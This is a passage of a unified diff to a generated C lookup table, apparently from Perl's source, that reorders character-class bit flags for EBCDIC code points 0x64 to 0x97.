(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x64 U+C0 I8=B5 A with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x65 U+C1 I8=B6 A with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x66 U+C3 I8=B7 A with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x67 U+C5 I8=B8 A with RING */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x68 U+C7 I8=B9 C with CEDILLA */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x69 U+D1 I8=BA N with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), /* 0x6A U+A6 I8=BB BROKEN BAR */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_CONTINUATION), /* 0x6B U+2C ',' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x6C U+25 '%' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x6D U+5F '_' */ (1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_WORDCHAR), /* 0x6E U+3E '>' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x6F U+3F '?' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0x70 U+F8 I8=BC o with '/' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x71 U+C9 I8=BD E with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x72 U+CA I8=BE E with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x73 U+CB I8=BF E with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x74 U+C8 I8=C0 E with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0x75 U+CD I8=C1 I with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0x76 U+CE I8=C2 I with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0x77 U+CF I8=C3 I with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0x78 U+CC I8=C4 I with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), +/* 0x70 U+F8 I8=BC o with '/' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x71 U+C9 I8=BD E with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x72 U+CA I8=BE E with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x73 U+CB I8=BF E with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x74 U+C8 I8=C0 E with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x75 U+CD I8=C1 I with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x76 U+CE I8=C2 I with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x77 U+CF I8=C3 I with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x78 U+CC I8=C4 I with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* 0x79 U+60 '`' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x7A U+3A ':' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x7B U+23 '#' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), @@ -399,53 +399,53 @@ /* 0x7D U+27 "'" */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x7E U+3D '=' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x7F U+22 '"' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0x80 U+D8 I8=C5 O with '/' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_IS_DOWNGRADEABLE_START), -/* 0x81 U+61 'a' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0x82 U+62 'b' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0x83 U+63 'c' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0x84 U+64 'd' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0x85 U+65 'e' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0x86 U+66 'f' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0x87 U+67 'g' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x88 U+68 'h' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x89 U+69 'i' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), +/* 0x80 U+D8 I8=C5 O with '/' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_IS_DOWNGRADEABLE_START), +/* 0x81 U+61 'a' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x82 U+62 'b' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x83 U+63 'c' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x84 U+64 'd' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x85 U+65 'e' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x86 U+66 'f' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x87 U+67 'g' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x88 U+68 'h' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x89 U+69 'i' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* 0x8A U+AB I8=C6 LEFT-POINTING DOUBLE ANGLE QUOTE */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_IS_DOWNGRADEABLE_START), /* 0x8B U+BB I8=C7 RIGHT-POINTING DOUBLE ANGLE QUOTE */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_IS_DOWNGRADEABLE_START), -/* 0x8C U+F0 I8=C8 eth */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0x8D U+FD I8=C9 y with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0x8E U+FE I8=CA thorn */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0x8C U+F0 I8=C8 eth */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0x8D U+FD I8=C9 y with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0x8E U+FE I8=CA thorn */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0x8F U+B1 I8=CB PLUS-MINUS */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), /* 0x90 U+B0 I8=CC DEGREE */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), -/* 0x91 U+6A 'j' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x92 U+6B 'k' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x93 U+6C 'l' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x94 U+6D 'm' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x95 U+6E 'n' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x96 U+6F 'o' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x97 U+70 'p' */ 